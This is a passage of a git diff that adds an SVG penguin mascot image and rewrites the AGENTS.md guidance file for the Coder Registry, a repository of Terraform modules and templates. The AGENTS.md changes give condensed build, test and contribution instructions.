d="m 189.55,178.72 c -0.35,-0.95 -0.97,-1.79 -1.72,-2.47 -0.75,-0.68 -1.64,-1.2 -2.57,-1.6 -1.86,-0.79 -3.89,-1.09 -5.89,-1.46 -1.87,-0.35 -3.74,-0.78 -5.62,-1.1 -1.96,-0.33 -3.98,-0.55 -5.92,-0.11 -1.69,0.38 -3.26,1.26 -4.54,2.43 -1.28,1.17 -2.28,2.63 -3,4.21 -1.27,2.79 -1.67,5.92 -1.43,8.97 0.18,2.27 0.76,4.61 2.25,6.32 1.21,1.39 2.92,2.26 4.68,2.78 3.04,0.9 6.35,0.85 9.36,-0.13 4.97,-1.67 9.37,-4.98 12.35,-9.29 0.98,-1.43 1.82,-2.98 2.2,-4.66 0.29,-1.28 0.3,-2.66 -0.15,-3.89 z"/>
|
||||
<g id="wing_tip_right_glare">
|
||||
<defs>
|
||||
<path id="path_wing_tip_right_glare"
|
||||
d="m 168.89,171.07 c -0.47,0.03 -0.93,0.08 -1.4,0.17 -2.99,0.53 -5.73,2.42 -7.27,5.03 -1.09,1.85 -1.58,4.03 -1.43,6.17 0.07,-1.5 0.46,-2.97 1.19,-4.28 1.23,-2.23 3.47,-3.91 5.98,-4.37 1.54,-0.28 3.13,-0.11 4.68,0.08 1.5,0.19 3,0.39 4.47,0.7 2.28,0.5 4.53,1.26 6.44,2.59 0.44,0.31 0.86,0.66 1.21,1.08 0.35,0.41 0.62,0.89 0.73,1.42 0.15,0.78 -0.07,1.6 -0.46,2.29 -0.39,0.7 -0.92,1.3 -1.48,1.86 -0.46,0.46 -0.94,0.89 -1.43,1.32 2.21,-0.43 4.44,-1.03 6.28,-2.31 0.77,-0.55 1.48,-1.2 1.94,-2.02 0.46,-0.83 0.65,-1.83 0.43,-2.75 -0.16,-0.62 -0.5,-1.19 -0.92,-1.67 -0.42,-0.48 -0.93,-0.87 -1.45,-1.24 -2.31,-1.62 -5.01,-2.65 -7.81,-2.99 -1.8,-0.33 -3.61,-0.61 -5.42,-0.83 -1.41,-0.18 -2.86,-0.33 -4.28,-0.25 z"/>
|
||||
</defs>
|
||||
<use id="wing_tip_right_glare_1" href="#path_wing_tip_right_glare" xlink:href="#path_wing_tip_right_glare"
|
||||
fill="url(#fill_wing_tip_right_glare_1)" filter="url(#blur_wing_tip_right_glare)" clip-path="url(#clip_wing_tip_right)"/>
|
||||
<use id="wing_tip_right_glare_2" href="#path_wing_tip_right_glare" xlink:href="#path_wing_tip_right_glare"
|
||||
fill="url(#fill_wing_tip_right_glare_2)" filter="url(#blur_wing_tip_right_glare)" clip-path="url(#clip_wing_tip_right)"/>
|
||||
</g>
|
||||
</g>
|
||||
<g id="face">
|
||||
<g id="eyes">
|
||||
<g id="eye_left">
|
||||
<path id="eyeball_left" fill="url(#fill_eyeball_left)"
|
||||
d="m 84.45,38.28 c -1.53,0.08 -3,0.79 -4.12,1.84 -1.13,1.05 -1.92,2.43 -2.41,3.88 -0.97,2.92 -0.75,6.08 -0.53,9.15 0.2,2.77 0.41,5.6 1.45,8.18 0.52,1.3 1.25,2.51 2.22,3.51 0.97,0.99 2.2,1.76 3.55,2.09 1.26,0.32 2.62,0.26 3.86,-0.13 1.25,-0.4 2.38,-1.11 3.32,-2.02 1.36,-1.33 2.27,-3.07 2.8,-4.9 0.53,-1.83 0.68,-3.75 0.65,-5.66 -0.04,-2.38 -0.35,-4.77 -1.09,-7.03 -0.75,-2.26 -1.94,-4.4 -3.6,-6.11 -0.8,-0.83 -1.72,-1.55 -2.75,-2.06 -1.04,-0.51 -2.2,-0.8 -3.35,-0.74 z"/>
|
||||
<g id="pupil_left">
|
||||
<path id="pupil_left_base" fill="#020204"
|
||||
d="m 80.75,50.99 c -0.32,1.94 -0.33,3.97 0.33,5.81 0.44,1.22 1.17,2.33 2.05,3.28 0.57,0.62 1.23,1.18 1.99,1.55 0.77,0.37 1.65,0.52 2.48,0.32 0.76,-0.19 1.42,-0.68 1.91,-1.29 0.49,-0.61 0.82,-1.34 1.05,-2.09 0.69,-2.21 0.58,-4.62 -0.11,-6.83 -0.49,-1.61 -1.32,-3.16 -2.6,-4.24 -0.62,-0.52 -1.34,-0.93 -2.12,-1.11 -0.78,-0.19 -1.63,-0.14 -2.36,0.19 -0.81,0.37 -1.44,1.07 -1.85,1.86 -0.41,0.79 -0.62,1.67 -0.77,2.55 z"/>
|
||||
<path id="pupil_left_glare" fill="url(#fill_pupil_left_glare)" filter="url(#blur_pupil_left_glare)" clip-path="url(#clip_pupil_left)"
|
||||
d="m 84.84,49.59 c 0.21,0.55 0.91,0.75 1.3,1.19 0.37,0.42 0.76,0.87 0.97,1.4 0.39,1.01 -0.39,2.51 0.43,3.23 0.25,0.22 0.77,0.23 1.02,0 0.99,-0.9 0.77,-2.71 0.38,-3.99 -0.36,-1.15 -1.23,-2.25 -2.31,-2.8 -0.5,-0.26 -1.25,-0.47 -1.68,-0.11 -0.27,0.24 -0.24,0.74 -0.11,1.08 z"/>
|
||||
</g>
|
||||
<path id="eyelid_left" fill="url(#fill_eyelid_left)" clip-path="url(#clip_eye_left)"
|
||||
d="m 81.14,44.46 c 2.32,-1.38 5.13,-1.7 7.82,-1.45 2.68,0.26 5.27,1.04 7.87,1.75 1.91,0.52 3.84,1 5.63,1.84 1.78,0.84 3.44,2.08 4.43,3.8 0.16,0.27 0.29,0.56 0.46,0.83 0.17,0.27 0.37,0.52 0.62,0.71 0.25,0.19 0.57,0.32 0.88,0.3 0.16,-0.01 0.32,-0.05 0.45,-0.13 0.14,-0.08 0.26,-0.2 0.33,-0.34 0.08,-0.16 0.11,-0.35 0.1,-0.53 -0.01,-0.18 -0.05,-0.36 -0.1,-0.54 -0.65,-2.37 -2.19,-4.38 -3.35,-6.55 -0.7,-1.3 -1.28,-2.66 -1.98,-3.96 -2.43,-4.45 -6.42,-7.94 -10.95,-10.21 -4.53,-2.27 -9.59,-3.36 -14.65,-3.65 -5.86,-0.35 -11.73,0.35 -17.51,1.37 -2.51,0.44 -5.06,0.96 -7.27,2.21 -1.11,0.62 -2.13,1.42 -2.92,2.42 -0.8,0.99 -1.36,2.18 -1.55,3.44 -0.17,1.22 0.01,2.47 0.44,3.62 0.42,1.15 1.08,2.2 1.86,3.15 1.54,1.91 3.53,3.39 5.36,5.03 1.83,1.63 3.52,3.44 5.57,4.79 1.02,0.68 2.13,1.24 3.31,1.57 1.18,0.33 2.44,0.42 3.64,0.17 1.24,-0.25 2.4,-0.86 3.41,-1.64 1.01,-0.77 1.88,-1.7 2.71,-2.66 1.66,-1.93 3.21,-4.04 5.39,-5.34 z"/>
|
||||
<path id="eyebrow_left" fill="url(#fill_eyebrow_left)" filter="url(#blur_eyebrow_left)"
|
||||
d="m 90.77,36.57 c 2.16,2.02 3.76,4.52 4.85,7.16 -0.48,-2.91 -1.23,-5.26 -3.13,-7.16 -1.16,-1.09 -2.49,-2.05 -3.98,-2.72 -1.32,-0.59 -2.77,-0.96 -3.61,-0.97 -0.83,-0.02 -1.03,0 -1.2,0.01 -0.18,0.01 -0.31,0.01 0.23,0.08 0.54,0.06 1.75,0.39 3.05,0.97 1.3,0.58 2.62,1.54 3.79,2.63 z"/>
|
||||
</g>
|
||||
<g id="eye_right">
|
||||
<path id="eyeball_right" fill="url(#fill_eyeball_right)"
|
||||
d="m 111.61,38.28 c -2.39,1.65 -4.4,3.94 -5.38,6.68 -1.24,3.45 -0.77,7.31 0.43,10.77 1.22,3.55 3.27,6.93 6.36,9.06 1.54,1.07 3.33,1.8 5.19,2.02 1.87,0.22 3.8,-0.09 5.47,-0.95 2.02,-1.06 3.57,-2.91 4.53,-4.98 0.96,-2.08 1.37,-4.37 1.5,-6.66 0.16,-2.9 -0.12,-5.86 -1.08,-8.61 -1.04,-2.99 -2.92,-5.75 -5.58,-7.47 -1.32,-0.86 -2.83,-1.45 -4.4,-1.67 -1.57,-0.22 -3.19,-0.05 -4.67,0.52 -0.84,0.33 -1.62,0.78 -2.37,1.29 z"/>
|
||||
<g id="pupil_right">
|
||||
<path id="pupil_right_base" fill="#020204"
|
||||
d="m 117.14,45.52 c -0.9,0.06 -1.78,0.37 -2.55,0.85 -0.76,0.48 -1.41,1.13 -1.92,1.88 -1.03,1.49 -1.48,3.31 -1.55,5.12 -0.05,1.35 0.1,2.72 0.55,4 0.45,1.28 1.2,2.47 2.25,3.33 1.07,0.89 2.42,1.42 3.81,1.49 1.39,0.06 2.79,-0.34 3.93,-1.13 0.91,-0.63 1.64,-1.5 2.16,-2.48 0.52,-0.97 0.84,-2.05 0.98,-3.15 0.25,-1.93 -0.03,-3.95 -0.93,-5.69 -0.89,-1.74 -2.41,-3.17 -4.24,-3.84 -0.8,-0.29 -1.65,-0.44 -2.49,-0.38 z"/>
|
||||
<path id="pupil_right_glare" fill="url(#fill_pupil_right_glare)" filter="url(#blur_pupil_right_glare)" clip-path="url(#clip_pupil_right)"
|
||||
d="m 122.71,53.36 c 1,-1 -0.71,-3.65 -2.05,-4.74 -0.97,-0.78 -3.78,-1.61 -3.66,-0.75 0.12,0.85 1.39,1.95 2.23,2.79 1.05,1.03 3,3.18 3.48,2.7 z"/>
|
||||
</g>
|
||||
<path id="eyelid_right" fill="url(#fill_eyelid_right)" clip-path="url(#clip_eye_right)"
|
||||
d="m 102.56,47.01 c 2.06,-1.71 4.45,-3.01 7,-3.8 5.25,-1.62 11.2,-0.98 15.84,1.97 1.6,1.01 3.03,2.27 4.52,3.45 1.48,1.17 3.06,2.27 4.85,2.9 0.97,0.34 2,0.54 3.02,0.43 0.92,-0.09 1.81,-0.44 2.57,-0.96 0.76,-0.53 1.4,-1.23 1.88,-2.02 0.96,-1.58 1.27,-3.5 1.1,-5.34 -0.33,-3.69 -2.41,-6.94 -4.15,-10.21 -0.55,-1.02 -1.07,-2.06 -1.73,-3.01 -2.01,-2.93 -5.23,-4.86 -8.6,-5.99 -3.37,-1.13 -6.93,-1.54 -10.46,-1.98 -1.58,-0.2 -3.17,-0.41 -4.74,-0.22 -1.81,0.22 -3.51,0.95 -5.28,1.4 -0.84,0.22 -1.69,0.37 -2.52,0.61 -0.83,0.24 -1.65,0.57 -2.33,1.11 -0.98,0.79 -1.6,1.98 -1.87,3.21 -0.27,1.24 -0.21,2.52 -0.01,3.77 0.39,2.5 1.33,4.93 1.24,7.46 -0.06,1.73 -0.61,3.44 -0.54,5.17 0.02,0.51 0.12,1.55 0.21,2.05 z"/>
|
||||
<path id="eyebrow_right" fill="url(#fill_eyebrow_right)" filter="url(#blur_eyebrow_right)"
|
||||
d="m 119.93,31.18 c -0.41,0.52 -0.78,1.08 -1.07,1.7 1.85,0.4 3.61,1.16 5.19,2.21 3.06,2.03 5.38,4.99 7.01,8.29 0.38,-0.42 0.72,-0.87 1.02,-1.37 -1.64,-3.44 -4,-6.55 -7.16,-8.65 -1.52,-1 -3.21,-1.77 -4.99,-2.18 z"/>
|
||||
</g>
|
||||
</g>
|
||||
<g id="beak">
|
||||
<g id="beak_shadow">
|
||||
<path id="beak_shadow_lower" fill="#000000" fill-opacity="0.258824" filter="url(#blur_beak_shadow_lower)" clip-path="url(#clip_body)"
|
||||
d="m 81.12,89.33 c 1.47,4.26 4.42,7.89 7.92,10.72 1.16,0.95 2.39,1.82 3.76,2.43 1.36,0.62 2.87,0.97 4.36,0.84 1.46,-0.12 2.85,-0.7 4.13,-1.42 1.28,-0.72 2.46,-1.59 3.7,-2.37 2.12,-1.35 4.39,-2.44 6.6,-3.64 2.65,-1.45 5.23,-3.1 7.46,-5.14 1.03,-0.93 1.98,-1.95 3.11,-2.75 1.13,-0.81 2.49,-1.39 3.87,-1.29 1.04,0.07 2.01,0.51 3.03,0.73 0.51,0.11 1.03,0.16 1.55,0.08 0.51,-0.08 1.01,-0.29 1.37,-0.67 0.44,-0.46 0.64,-1.12 0.61,-1.76 -0.02,-0.63 -0.24,-1.25 -0.54,-1.81 -0.59,-1.13 -1.49,-2.1 -1.89,-3.31 -0.36,-1.08 -0.29,-2.24 -0.26,-3.37 0.03,-1.14 0.01,-2.32 -0.51,-3.33 -0.4,-0.76 -1.07,-1.37 -1.83,-1.77 -0.76,-0.41 -1.62,-0.62 -2.48,-0.7 -1.72,-0.16 -3.44,0.18 -5.17,0.27 -2.28,0.13 -4.58,-0.15 -6.87,-0.02 -2.85,0.18 -5.65,1 -8.51,1.01 -3.26,0.01 -6.52,-1.06 -9.74,-0.55 -1.39,0.22 -2.71,0.72 -4.03,1.16 -1.33,0.45 -2.7,0.84 -4.1,0.82 -1.59,-0.03 -3.13,-0.58 -4.72,-0.69 -0.79,-0.06 -1.6,0 -2.35,0.28 -0.74,0.28 -1.41,0.79 -1.78,1.5 -0.21,0.4 -0.31,0.86 -0.33,1.31 -0.02,0.46 0.04,0.91 0.15,1.36 0.22,0.88 0.63,1.71 0.96,2.55 1.2,3.07 1.46,6.42 2.53,9.53 z"/>
|
||||
<path id="beak_shadow_upper" opacity="0.3" fill="#000000" filter="url(#blur_beak_shadow_upper)" clip-path="url(#clip_body)"
|
||||
d="m 77.03,77.2 c 2.85,1.76 5.41,3.93 7.56,6.39 1.99,2.29 3.68,4.89 6.29,6.58 1.83,1.2 4.04,1.87 6.28,2.08 2.63,0.24 5.29,-0.15 7.83,-0.84 2.35,-0.63 4.62,-1.53 6.7,-2.71 3.97,-2.25 7.28,-5.55 11.65,-7.03 0.95,-0.33 1.94,-0.56 2.86,-0.96 0.92,-0.39 1.79,-0.99 2.23,-1.83 0.42,-0.82 0.4,-1.75 0.54,-2.64 0.15,-0.96 0.48,-1.88 0.66,-2.83 0.18,-0.95 0.2,-1.96 -0.24,-2.83 -0.37,-0.72 -1.04,-1.29 -1.81,-1.66 -0.77,-0.36 -1.64,-0.52 -2.51,-0.56 -1.72,-0.08 -3.43,0.33 -5.16,0.47 -2.28,0.19 -4.58,-0.08 -6.87,-0.01 -2.85,0.08 -5.66,0.67 -8.51,0.8 -3.25,0.14 -6.49,-0.34 -9.74,-0.44 -1.41,-0.05 -2.83,-0.03 -4.21,0.2 -1.39,0.22 -2.75,0.65 -3.92,1.37 -1.14,0.69 -2.07,1.64 -3.11,2.45 -0.52,0.41 -1.08,0.78 -1.68,1.07 -0.61,0.28 -1.28,0.48 -1.96,0.51 -0.35,0.01 -0.71,-0.01 -1.05,0.04 -0.59,0.08 -1.13,0.39 -1.47,0.83 -0.34,0.45 -0.47,1.02 -0.36,1.55 z"/>
|
||||
</g>
|
||||
<path id="beak_base" fill="url(#fill_beak_base)"
|
||||
d="m 91.66,58.53 c 1.53,-1.71 2.57,-3.8 4.03,-5.56 0.73,-0.88 1.58,-1.69 2.57,-2.26 0.99,-0.57 2.15,-0.89 3.29,-0.79 1.27,0.11 2.46,0.74 3.39,1.61 0.93,0.87 1.62,1.97 2.17,3.12 0.53,1.11 0.95,2.28 1.71,3.24 0.81,1.02 1.94,1.71 2.97,2.52 0.51,0.4 1.01,0.83 1.41,1.34 0.41,0.51 0.72,1.1 0.86,1.74 0.13,0.65 0.06,1.33 -0.16,1.95 -0.23,0.62 -0.61,1.18 -1.09,1.64 -0.95,0.92 -2.25,1.42 -3.56,1.6 -2.62,0.37 -5.27,-0.41 -7.92,-0.34 -2.67,0.08 -5.29,1.02 -7.97,0.93 -1.33,-0.05 -2.69,-0.38 -3.79,-1.14 -0.55,-0.39 -1.03,-0.88 -1.38,-1.45 -0.34,-0.57 -0.55,-1.23 -0.58,-1.9 -0.02,-0.64 0.13,-1.28 0.39,-1.86 0.25,-0.59 0.61,-1.12 1.01,-1.62 0.81,-0.99 1.8,-1.81 2.65,-2.77 z"/>
|
||||
<g id="mandible_lower">
|
||||
<path id="mandible_lower_base" fill="url(#fill_mandible_lower_base)"
|
||||
d="m 77.14,75.05 c 0.06,0.26 0.15,0.5 0.28,0.73 0.23,0.38 0.57,0.69 0.93,0.95 0.36,0.27 0.75,0.49 1.13,0.72 2.01,1.27 3.65,3.04 5.11,4.92 1.95,2.52 3.68,5.31 6.29,7.14 1.84,1.3 4.04,2.03 6.28,2.26 2.63,0.26 5.29,-0.16 7.83,-0.91 2.35,-0.69 4.62,-1.66 6.7,-2.95 3.97,-2.44 7.28,-6.02 11.65,-7.63 0.95,-0.35 1.94,-0.6 2.86,-1.03 0.92,-0.44 1.79,-1.08 2.23,-2 0.42,-0.88 0.4,-1.9 0.54,-2.87 0.15,-1.03 0.48,-2.03 0.66,-3.06 0.18,-1.03 0.2,-2.13 -0.24,-3.08 -0.37,-0.78 -1.04,-1.4 -1.81,-1.79 -0.77,-0.4 -1.64,-0.58 -2.51,-0.62 -1.72,-0.08 -3.43,0.36 -5.16,0.52 -2.28,0.21 -4.58,-0.09 -6.87,-0.02 -2.85,0.09 -5.66,0.73 -8.51,0.87 -3.25,0.15 -6.49,-0.35 -9.74,-0.48 -1.41,-0.06 -2.83,-0.04 -4.22,0.2 -1.39,0.23 -2.75,0.71 -3.91,1.51 -1.13,0.78 -2.03,1.84 -3.07,2.74 -0.52,0.45 -1.08,0.86 -1.7,1.16 -0.61,0.3 -1.29,0.49 -1.98,0.47 -0.35,-0.01 -0.72,-0.06 -1.05,0.04 -0.21,0.07 -0.4,0.2 -0.56,0.35 -0.16,0.16 -0.29,0.34 -0.41,0.52 -0.29,0.42 -0.54,0.87 -0.75,1.34 z"/>
|
||||
<path id="mandible_lower_glare" fill="#d9b30d" filter="url(#blur_mandible_lower_glare)" clip-path="url(#clip_mandible_lower)"
|
||||
d="m 89.9,78.56 c -0.33,1.37 -0.13,2.87 0.56,4.11 0.68,1.24 1.84,2.2 3.19,2.65 1.7,0.57 3.62,0.29 5.21,-0.54 0.93,-0.48 1.77,-1.16 2.3,-2.06 0.27,-0.44 0.46,-0.94 0.53,-1.46 0.06,-0.51 0.02,-1.05 -0.16,-1.54 -0.2,-0.53 -0.56,-1 -0.99,-1.37 -0.44,-0.37 -0.95,-0.64 -1.5,-0.82 -1.08,-0.36 -2.77,-0.66 -3.91,-0.68 -2.02,-0.04 -4.9,0.34 -5.23,1.71 z"/>
|
||||
</g>
|
||||
<g id="mandible_upper">
|
||||
<path id="mandible_upper_shadow" fill="#604405" filter="url(#blur_mandible_upper_shadow)" clip-path="url(#clip_mandible_lower)"
|
||||
d="m 84.31,67.86 c -1.16,0.68 -2.27,1.43 -3.36,2.2 -0.57,0.41 -1.15,0.84 -1.45,1.47 -0.21,0.44 -0.26,0.94 -0.27,1.43 0,0.5 0.03,0.99 -0.04,1.48 -0.04,0.33 -0.13,0.66 -0.14,0.99 -0.01,0.17 0,0.34 0.04,0.5 0.05,0.16 0.13,0.32 0.24,0.44 0.15,0.16 0.35,0.26 0.56,0.32 0.21,0.06 0.42,0.09 0.64,0.14 1.01,0.24 1.89,0.86 2.66,1.56 0.77,0.69 1.47,1.48 2.28,2.13 2.18,1.78 5.07,2.52 7.89,2.56 2.82,0.05 5.61,-0.54 8.36,-1.16 2.16,-0.49 4.32,-0.99 6.39,-1.76 3.2,-1.18 6.16,-2.96 8.72,-5.19 1.17,-1.01 2.26,-2.12 3.57,-2.94 1.15,-0.73 2.44,-1.21 3.62,-1.9 0.11,-0.06 0.21,-0.13 0.3,-0.2 0.1,-0.08 0.18,-0.18 0.24,-0.28 0.09,-0.19 0.09,-0.42 0.03,-0.62 -0.06,-0.2 -0.18,-0.38 -0.31,-0.55 -0.15,-0.18 -0.31,-0.34 -0.49,-0.5 -1.23,-1.05 -2.89,-1.43 -4.51,-1.56 -1.61,-0.12 -3.24,-0.03 -4.83,-0.3 -1.5,-0.25 -2.92,-0.81 -4.37,-1.27 -1.52,-0.49 -3.07,-0.87 -4.64,-1.13 -3.71,-0.61 -7.52,-0.49 -11.19,0.27 -3.49,0.73 -6.87,2.05 -9.94,3.87 z"/>
|
||||
<path id="mandible_upper_base" fill="url(#fill_mandible_upper_base)"
|
||||
d="m 83.94,63.95 c -1.66,1.12 -3.16,2.49 -4.43,4.04 -0.72,0.89 -1.38,1.86 -1.74,2.94 -0.29,0.86 -0.39,1.76 -0.57,2.65 -0.07,0.33 -0.15,0.66 -0.14,1 0,0.16 0.02,0.33 0.07,0.5 0.05,0.16 0.14,0.31 0.25,0.43 0.2,0.2 0.47,0.31 0.74,0.37 0.28,0.05 0.56,0.06 0.84,0.09 1.25,0.15 2.4,0.75 3.44,1.47 1.04,0.71 2,1.55 3.07,2.22 2.35,1.49 5.16,2.15 7.95,2.26 2.78,0.11 5.56,-0.31 8.3,-0.86 2.17,-0.43 4.33,-0.95 6.39,-1.76 3.16,-1.25 6.01,-3.16 8.72,-5.19 1.24,-0.92 2.46,-1.87 3.57,-2.94 0.37,-0.37 0.74,-0.74 1.14,-1.08 0.4,-0.33 0.85,-0.62 1.35,-0.78 0.76,-0.24 1.58,-0.17 2.37,-0.04 0.59,0.1 1.18,0.23 1.78,0.21 0.3,-0.02 0.6,-0.07 0.88,-0.18 0.28,-0.11 0.54,-0.28 0.73,-0.52 0.25,-0.3 0.38,-0.7 0.38,-1.09 0,-0.4 -0.12,-0.79 -0.32,-1.13 -0.4,-0.68 -1.09,-1.14 -1.81,-1.46 -0.99,-0.44 -2.06,-0.65 -3.11,-0.91 -3.23,-0.78 -6.37,-1.93 -9.34,-3.41 -1.48,-0.73 -2.92,-1.54 -4.37,-2.32 -1.5,-0.8 -3.02,-1.57 -4.64,-2.07 -3.64,-1.1 -7.6,-0.74 -11.19,0.51 -3.98,1.38 -7.58,3.84 -10.31,7.05 z"/>
|
||||
<path id="mandible_upper_glare" fill="#f6da4a" filter="url(#blur_mandible_upper_glare)" clip-path="url(#clip_mandible_upper)"
|
||||
d="m 109.45,64.75 c -0.2,-0.24 -0.48,-0.42 -0.78,-0.51 -0.3,-0.09 -0.62,-0.09 -0.93,-0.04 -0.62,0.11 -1.18,0.44 -1.7,0.8 -1.47,1.01 -2.77,2.26 -3.91,3.64 -1.5,1.83 -2.74,3.94 -3.16,6.27 -0.07,0.39 -0.11,0.8 -0.07,1.19 0.05,0.4 0.2,0.79 0.49,1.07 0.24,0.25 0.58,0.4 0.92,0.45 0.35,0.05 0.71,0 1.04,-0.11 0.66,-0.22 1.21,-0.69 1.74,-1.15 2.87,-2.58 5.47,-5.66 6.51,-9.38 0.1,-0.37 0.19,-0.75 0.19,-1.14 0,-0.39 -0.1,-0.78 -0.34,-1.09 z"/>
|
||||
<path id="naris_left" opacity="0.8" fill="url(#fill_naris_left)" filter="url(#blur_naris_left)"
|
||||
d="m 92.72,59.06 c -0.77,-0.25 -2.03,1.1 -1.62,1.79 0.11,0.19 0.46,0.43 0.7,0.3 0.35,-0.19 0.64,-0.89 1.02,-1.16 0.25,-0.18 0.2,-0.84 -0.1,-0.93 z"/>
|
||||
<path id="naris_right" opacity="0.8" fill="url(#fill_naris_right)" filter="url(#blur_naris_right)"
|
||||
d="m 102.56,59.42 c 0.2,0.64 1.23,0.53 1.83,0.84 0.52,0.27 0.94,0.86 1.53,0.88 0.56,0.01 1.44,-0.2 1.51,-0.76 0.09,-0.73 -0.98,-1.2 -1.67,-1.47 -0.89,-0.34 -2.03,-0.52 -2.86,-0.06 -0.19,0.11 -0.4,0.36 -0.34,0.57 z"/>
|
||||
</g>
|
||||
<path id="beak_corner" fill="url(#fill_beak_corner)" filter="url(#blur_beak_corner)" clip-path="url(#clip_beak)"
|
||||
d="m 129.27,69.15 a 2.42,3.1 16.94 0 1 -2.81,3.04 2.42,3.1 16.94 0 1 -2.12,-3.04 2.42,3.1 16.94 0 1 2.81,-3.05 2.42,3.1 16.94 0 1 2.12,3.05 z"/>
|
||||
</g>
|
||||
</g>
|
||||
</g>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 49 KiB |
@@ -1,168 +1,41 @@
|
||||
# AGENTS.md
|
||||
|
||||
This file provides guidance to AI coding assistants when working with code in this repository.
|
||||
Coder Registry: Terraform modules/templates for Coder workspaces under `registry/[namespace]/modules/` and `registry/[namespace]/templates/`.
|
||||
|
||||
## Project Overview
|
||||
|
||||
The Coder Registry is a community-driven repository for Terraform modules and templates that extend Coder workspaces. It's organized with:
|
||||
|
||||
- **Modules**: Individual components and tools (IDEs, auth integrations, dev tools)
|
||||
- **Templates**: Complete workspace configurations for different platforms
|
||||
- **Namespaces**: Each contributor has their own namespace under `/registry/[namespace]/`
|
||||
|
||||
## Common Development Commands
|
||||
|
||||
### Formatting
|
||||
## Commands
|
||||
|
||||
```bash
|
||||
bun run fmt # Format all code (Prettier + Terraform)
|
||||
bun run fmt:ci # Check formatting (CI mode)
|
||||
bun run fmt # Format code (Prettier + Terraform) - run before commits
|
||||
bun run tftest # Run all Terraform tests
|
||||
bun run tstest # Run all TypeScript tests
|
||||
terraform init -upgrade && terraform test -verbose # Test single module (run from module dir)
|
||||
bun test main.test.ts # Run single TS test (from module dir)
|
||||
./scripts/terraform_validate.sh # Validate Terraform syntax
|
||||
./scripts/new_module.sh ns/name # Create new module scaffold
|
||||
.github/scripts/version-bump.sh patch | minor | major # Bump module version after changes
|
||||
```
|
||||
|
||||
### Testing
|
||||
## Structure
|
||||
|
||||
```bash
|
||||
# Test all modules with .tftest.hcl files
|
||||
bun run test
|
||||
- **Modules**: `registry/[ns]/modules/[name]/` with `main.tf`, `README.md` (YAML frontmatter), `.tftest.hcl` (required)
|
||||
- **Templates**: `registry/[ns]/templates/[name]/` with `main.tf`, `README.md`
|
||||
- **Validation**: `cmd/readmevalidation/` (Go) validates structure/frontmatter; URLs must be relative, not absolute
|
||||
|
||||
# Test specific module (from module directory)
|
||||
terraform init -upgrade
|
||||
terraform test -verbose
|
||||
## Code Style
|
||||
|
||||
# Validate Terraform syntax
|
||||
./scripts/terraform_validate.sh
|
||||
```
|
||||
- Every module MUST have `.tftest.hcl` tests; optional `main.test.ts` for container/script tests
|
||||
- README frontmatter: `display_name`, `description`, `icon`, `verified: false`, `tags`
|
||||
- Use semantic versioning; bump version via script when modifying modules
|
||||
- Docker tests require Linux or Colima/OrbStack (not Docker Desktop)
|
||||
- Use `tf` (not `hcl`) for code blocks in README; use relative icon paths (e.g., `../../../../.icons/`)
|
||||
|
||||
### Module Creation
|
||||
## PR Review Checklist
|
||||
|
||||
```bash
|
||||
# Generate new module scaffold
|
||||
./scripts/new_module.sh namespace/module-name
|
||||
```
|
||||
|
||||
### TypeScript Testing & Setup
|
||||
|
||||
The repository uses Bun for TypeScript testing with utilities:
|
||||
|
||||
- `test/test.ts` - Testing utilities for container management and Terraform operations
|
||||
- `setup.ts` - Test cleanup (removes .tfstate files and test containers)
|
||||
- Container-based testing with Docker for module validation
|
||||
|
||||
## Architecture & Organization
|
||||
|
||||
### Directory Structure
|
||||
|
||||
```
|
||||
registry/[namespace]/
|
||||
├── README.md # Contributor info with frontmatter
|
||||
├── .images/ # Namespace avatar (avatar.png/svg)
|
||||
├── modules/ # Individual components
|
||||
│ └── [module]/ # Each module has main.tf, README.md, tests
|
||||
└── templates/ # Complete workspace configs
|
||||
└── [template]/ # Each template has main.tf, README.md
|
||||
```
|
||||
|
||||
### Key Components
|
||||
|
||||
**Module Structure**: Each module contains:
|
||||
|
||||
- `main.tf` - Terraform implementation
|
||||
- `README.md` - Documentation with YAML frontmatter
|
||||
- `.tftest.hcl` - Terraform test files (required)
|
||||
- `run.sh` - Optional startup script
|
||||
|
||||
**Template Structure**: Each template contains:
|
||||
|
||||
- `main.tf` - Complete Coder template configuration
|
||||
- `README.md` - Documentation with YAML frontmatter
|
||||
- Additional configs, scripts as needed
|
||||
|
||||
### README Frontmatter Requirements
|
||||
|
||||
All modules/templates require YAML frontmatter:
|
||||
|
||||
```yaml
|
||||
---
|
||||
display_name: "Module Name"
|
||||
description: "Brief description"
|
||||
icon: "../../../../.icons/tool.svg"
|
||||
verified: false
|
||||
tags: ["tag1", "tag2"]
|
||||
---
|
||||
```
|
||||
|
||||
## Testing Requirements
|
||||
|
||||
### Module Testing
|
||||
|
||||
- Every module MUST have `.tftest.hcl` test files
|
||||
- Optional `main.test.ts` files for container-based testing or complex business logic validation
|
||||
- Tests use Docker containers with `--network=host` flag
|
||||
- Linux required for testing (Docker Desktop on macOS/Windows won't work)
|
||||
- Use Colima or OrbStack on macOS instead of Docker Desktop
|
||||
|
||||
### Test Utilities
|
||||
|
||||
The `test/test.ts` file provides:
|
||||
|
||||
- `runTerraformApply()` - Execute Terraform with variables
|
||||
- `executeScriptInContainer()` - Run coder_script resources in containers
|
||||
- `testRequiredVariables()` - Validate required variables
|
||||
- Container management functions
|
||||
|
||||
## Validation & Quality
|
||||
|
||||
### Automated Validation
|
||||
|
||||
The Go validation tool (`cmd/readmevalidation/`) checks:
|
||||
|
||||
- Repository structure integrity
|
||||
- Contributor README files
|
||||
- Module and template documentation
|
||||
- Frontmatter format compliance
|
||||
|
||||
### Versioning
|
||||
|
||||
Use semantic versioning for modules:
|
||||
|
||||
- **Patch** (1.2.3 → 1.2.4): Bug fixes
|
||||
- **Minor** (1.2.3 → 1.3.0): New features, adding inputs
|
||||
- **Major** (1.2.3 → 2.0.0): Breaking changes
|
||||
|
||||
## Dependencies & Tools
|
||||
|
||||
### Required Tools
|
||||
|
||||
- **Terraform** - Module development and testing
|
||||
- **Docker** - Container-based testing
|
||||
- **Bun** - JavaScript runtime for formatting/scripts
|
||||
- **Go 1.23+** - Validation tooling
|
||||
|
||||
### Development Dependencies
|
||||
|
||||
- Prettier with Terraform and shell plugins
|
||||
- TypeScript for test utilities
|
||||
- Various npm packages for documentation processing
|
||||
|
||||
## Workflow Notes
|
||||
|
||||
### Contributing Process
|
||||
|
||||
1. Create namespace (first-time contributors)
|
||||
2. Generate module/template files using scripts
|
||||
3. Implement functionality and tests
|
||||
4. Run formatting and validation
|
||||
5. Submit PR with appropriate template
|
||||
|
||||
### Testing Workflow
|
||||
|
||||
